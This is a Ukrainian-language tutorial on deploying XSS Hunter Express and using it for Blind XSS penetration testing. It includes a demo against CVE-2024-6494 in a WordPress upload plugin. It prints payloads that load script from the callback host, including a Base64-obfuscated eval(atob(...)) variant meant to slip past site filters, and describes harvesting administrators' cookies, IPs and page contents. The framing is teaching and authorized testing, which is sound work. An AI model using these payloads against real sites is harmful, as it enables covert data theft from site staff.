Close

Робота з XSS Hunter. Пошук і експлуатація Blind XSS вразливостей

У цьому матеріалі ми розглянемо основи роботи з таким інструментом етичного хакінгу як XSS Hunter. Я розкажу, як з його допомогою виявляти та експлуатувати вразливості типу Blind XSS, які часто залишаються непоміченими. Ви дізнаєтеся, як створювати кастомні пейлоади, інтегрувати XSS Hunter у процес тестування безпеки та аналізувати отримані дані для виявлення потенційних загроз. Крім того, будуть практичні приклади використання XSS Hunter в тестуваннях на проникнення.

Зміст статті

Що таке XSS Hunter?

XSS Hunter – це багатофункціональний інструмент етичного хакінгу, який застосовується в тестуваннях на проникнення для виявлення та експлуатації XSS-вразливостей у різноманітних веб-додатках. Розроблений американським дослідником безпеки Мет’ю Браянтом, відомим під ніком @IAmMandatory.

Довгий час XSS Hunter працював як публічний онлайн-сервіс на домені xsshunter.com. Кожен міг зареєструватись і створити на піддомені xss.ht свій екземпляр. Однак через деякий час в ньому знайшли серйозні вразливості й 1 лютого 2023 року автор заявив про припинення обслуговування. Невдовзі він створив нову безкоштовну версію під назвою XSS Hunter Express, яку може розгорнути кожен на власному сервері. Існує також форк XSS Hunter – безкоштовна онлайн-платформа BXSS, яка працює ідентично колишньому сервісу xsshunter.com.

Функціональні можливості XSS Hunter:

  • Виявлення Blind XSS. XSS Hunter автоматично реєструє запити, що приходять на ваш сервер, коли спрацьовує XSS-пейлоад.
  • Збір та аналіз технічних деталей. Інструмент фіксує інформацію про сесію користувача, куки, User-Agent, IP-адресу та інші дані, що дозволяє зрозуміти, де саме відбулася ін’єкція.
  • Збір скріншотів. XSS Hunter може зробити скріншот сторінки, на якій відбувся XSS-виклик, що допомагає краще зрозуміти контекст вразливості.
  • Інтеграція з іншими системами.XSS Hunter надає API, що дозволяє інтегрувати його з іншими інструментами та автоматизувати процеси тестування та аналізу безпеки.
  • Різноманітність пейлоадів. Інструмент постачається з кількома стандартними пейлоадами, які можна використовувати або модифікувати для різних потреб.
  • Підтримка кастомних пейлоадів. XSS Hunter дозволяє створювати та налаштовувати власні пейлоади, які можуть бути використані для тестування специфічних сценаріїв XSS-атак.
  • Автоматична генерація звітів. XSS Hunter дозволяє автоматично генерувати звіти з детальними даними про кожну спрацьовану атаку, включаючи скріншоти, зібрані куки, HTML-код і інші важливі деталі.
  • Сповіщення на Email. Інструмент може надсилати звіт про XSS-атаку, що дозволяє миттєво реагувати.
  • Історія атак. Збереження історії всіх спрацьованих XSS-атак у базі даних, що дозволяє аналізувати вразливості в ретроспективі.
  • Підтримка багатьох сесій. Можливість роботи з кількома сесіями одночасно, що дозволяє проводити аналіз на різних сторінках або в різних середовищах.

Встановлення і налаштування XSS Hunter  на VPS

Для розгортання XSS Hunter Express підійде VPS-сервер на базі Linux. Для цього можна обрати будь-яку хмарну платформу. Я скористався Amazon Lightsale.

В якості операційної системи обрав Ubuntu 22.04. Технічні характеристики сервера рекомендую використовувати наступні:

  • 2 GB Memory (1 Гб для виконання деяких операцій буде замало)
  • 2 vCPUs Processing
  • 60 GB SSD Storage
  • 3 TB Transfer

В процесі створення VPS, в цілях безпеки обов’язково згенеруйте на локальній системі SSH ключ доступу (команда ssh-keygen) й додайте public key на сервер. Секретний ключ private key зберігайте в недоступному місці і не повідомляйте нікому – з його допомогою ви зможете авторизуватися на сервері через командний рядок чи SSH-клієнт.

Після того як ви залогувалися, необхідно оновити пакети операційної системи: sudo apt-get update

Тепер клонуємо Git-репозиторій XSS Hunter на сервер: git clone --depth 1 https://github.com/mandatoryprogrammer/xsshunter-express && cd xsshunter-express

Встановлюємо компоненти Docker, необхідні для розгортання XSS Hunter:

apt install docker.io
apt install docker-compose

Знаходимо в папці xsshunter-express файл конфігурації docker-compose.yml і редагуємо його в редакторі nano:

  • В полі HOSTNANE вказуємо свій домен, на якому буде працювати XSS Hunter, наприклад xss.example.com.
  • В полі SSL_CONTACT_EMAIL вказуємо свою електронну пошту, яка буде відправлена на сервер Lets Encrypt при генерації SSL для домену XSSHunter (це буде автоматично), наприклад info@example.com.
  • В блоці SMTP треба вказати дані вашого поштовного сервера, через який XSS Hunter відправлятиме сповіщення. Можна розгорнути власний або скористатися послугами сервісу Mailgun, який надає безкоштовно SMTP, але з певними лімітами. Останнього для початку буде достатньо. Реєструємося на Mailgun.com, отримуємо дані підключення і вписуємо їх у відповідні поля в файлі конфігурації.
  • Блок DATABASE залишаємо без змін.

Зберігаємо зміни CTRL +O.

Бачимо, що ця конфігурація XSS Hunter в якості бази даних використовує PostreSQL. Щодо веб-сервера, то тут використовується Node.js. Це означає, що основна частина сервера, яка обробляє HTTP-запити, генерує та відправляє відповіді, написана на JavaScript.

Тепер необхідно направити домен, який ви будете використовувати для доступу до панелі керування XSS Hunter, на VPS сервер. Переходимо в DNS-зону домена і скеровуємо A-запис на IP-адресу сервера. Ось як це виглядає в Cloudflare:

Запускаємо розгортання XSS Hunter Express через Docker-контейнер: docker-compose up

Процес може зайняти до 15 хвилин. Перебіг подій виводитиметься на екрані. Уважно спостерігайте за тим, аби не виникало помилок. Якщо вони будуть – необхідно вирішити їх й повторно запустити розгортання контейнера.

Про успішність виконання свідчитиме напис “ATTENTION” з даними авторизації:

Все! XSSHunter успішно встановлено. Якщо відкрити у браузері домен xss.example.com, то ви побачите повідомлення, яке пояснює призначення додатка XSS Hunter й засвідчує легітимність його використання в цілях Bug Bounty:

Для входу в панель керування XSS Hunter перейдіть за URL-адресою: https://example.com/admin.

Вводимо пароль і нарешті потрапляємо в адмінку:

Тепер давайте швиденько перевіримо чи XSS Hunter правильно налаштований на сервері і все працює так як треба.

Для цього перейдемо на вкладку XSS Payloads, скопіюємо перший пейлоад "><script src="https://xss.example.com"></script> і вставимо його в звичайний пустий html-файл, а тоді відкриємо у Firefox браузері:

Має виконатись сценарій XSS і спрацювати триггер XSS Hunter виявлення та оповіщення XSS-вразливості.

В адмін-панелі XSS Hunter на вкладці XSS Payload Fires з’явиться скріншот веб-сторінки з виявленою вразливістю та деталями виконання:

XSS Hunter також надішле на електронну пошту звіт про виявлення вразливості:

Отже, все налаштовано правильно і працює чудово!

Додатково, для тих хто користується платформою Slack для корпоративної комунікації в команді або інших потреб, можна налаштувати відправку сповіщення XSS Hunter туди. Деталі опубліковані тут.

Принципи роботи з XSS Hunter

XSS Hunter застосовується в основному для виявлення та проведення сліпих XSS-ін’єкцій – так звані Blind XSS. Ним гарно “закидати вудочку”. Тобто, ви знаходите на веб-сайті форми і поля, які можна заповнювати текстову інформацію й надсилати дані на сервер. Це можуть бути форми коментарів, реєстрації, відгуки, контактні та будь-які інші. Ви просто вставляєте корисне навантаження (payload), яке вам генерує XSS Hunter, у ці поля й відправляєте. Пейлоад може бути різного виду, залежно від контексту (наприклад, <script>-теги, ін’єкції JavaScript, input, img, onmouse і так далі). Повний їх список можна знайти на вкладці “XSS Payloads”:

Після того як пейлоад відправлено – очікуємо, коли “рибка клюне”. А саме, коли адміністратор сайту чи хтось з персоналу відкриє листа з XSS-навантаженням і скрипт спрацює. Однак, просто так ми про це не дізнаємося і не побачимо, тому ці атаки називають “сліпими”.  Тут на допомогу приходить XSS Hunter. При спрацюванні Blind XSS на його сервер поступають дані про виявлення вразливості, включаючи такі технічні деталі як: скріншот екрану, cookies, user-agent, HTML-структура веб-сторінки тощо. Таким чином атакуючий зрозуміє, що “рибка клюнула”. До того ж, як зазначалося вище, ви отримаєте сповіщення на електронну пошту. У цьому вся краса і сила XSS Hunter, адже він автоматизує усю рутину з виявлення XSS! В тестуваннях на проникнення це незамінна річ.

Давайте тепер пограємося і спробуємо застосувати XSS Hunter на практиці. В якості “полігону” використаємо вразливий сайт на WordPress. Для експлуатації застосуємо CVE-2024-6494 – вразливість плагіна “WordPress File Upload” версії 4.24.7, яка пропускає XSS-навантаження типу Message" style=animation-name:rotation onanimationstart=alert(/XSS/)// через додаткове текстове поле.

Отже, завантажимо і активуємо цей плагін на нашій WordPress й з допомогою шорткоду вставимо його в одну із готових публікацій. Після цього неавтентифікований користувач перейде на сторінку, скористається формою й завантажить будь-який файл, а у додатковому текстовому полі вкаже XSS Payload з посиланням на сервер XSS Hunter. Щоправда у даному випадку ми закодували пейлоад XSS Hunter в Base64 з метою обходу існуючої систем безпеки сайту (в іншому випадку сервер може не пропустити):

Message" style="animation-name:rotation" onanimationstart=eval(atob('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=='))//

Замість xxxx ми вставили закодований JavaScript-код, який розшифровується і виконується. У розшифрованому вигляді він виглядає так:

var a=document.createElement("script");
a.src="https://xss.example.com";
document.body.appendChild(a);

Після того як файл з шкідливим навантаженням відправлено, адміністратор сайту заходить в адмін-панель WordPress і в розділі “Uploaded Files” бачить новий завантажений файл. Він натискає на “Viewed details” і потрапляє безпосередньо до перегляду, але сам скрипт виконується та відправляє дані на сервер XSS Hunter. У конкретно нашому випадку адміністратор нічого не помічає – жодних спливаючих вікон чи алертів, а відтак ні про що й не здогадується!

Тим часом хакер відкриває XSS Hunter і бачить репорт про виконаний XSS зі скріншотом з сайту жертви:

Якщо натиснути на “Expand Report”, то розкриється детальніший звіт атаки:

  • URL – повна адреса вразливої сторінки;
  • IP-адреса жертви;
  • Referrer – початковий URL, який привів до атаки;
  • User-Agent – веб-браузер жертви;
  • Cookies – кукі налаштувань WordPress (не є сесійними кукі);
  • Title – заголовок вразливої сторінки;
  • DOM HTML – вихідний html-код вразливої сторінки, який можна завантажити;
  • Origin – адреса сервера XSS Hunter, на який відправлявся запит;
  • Browser Time – час і дата браузера жертви;
  • Other – інші подробиці, наприклад порядковий номер звіту та інше.

Таким чином, XSS Hunter може бути дуже корисним у виявленні вразливих місць, пов’язаних з міжсайтовим скриптингом. Його також можна застосовувати у таких тестуваннях на проникнення як Red Team із застосування фішингу та інших технік Offensive Security. Він також є корисним і просто для тих, хто хоче опанувати ремесло етичного хакінгу, зрозуміти принцип дії XSS, виявляти та експлатувати їх на практиці. Його можна використовувати для навчання команд розробників або безпеки, демонструючи реальні приклади XSS-атак та їх наслідки.

ПОДІЛИТИСЬ У СОЦМЕРЕЖАХ:

Отримати комерційну пропозицію
Оформити заявку
Замовити консультацію
Замовити дзвінок

Вкажіть, будь ласка, контактний номер телефону. Наш менеджер миттєво зв’яжеться з Вами!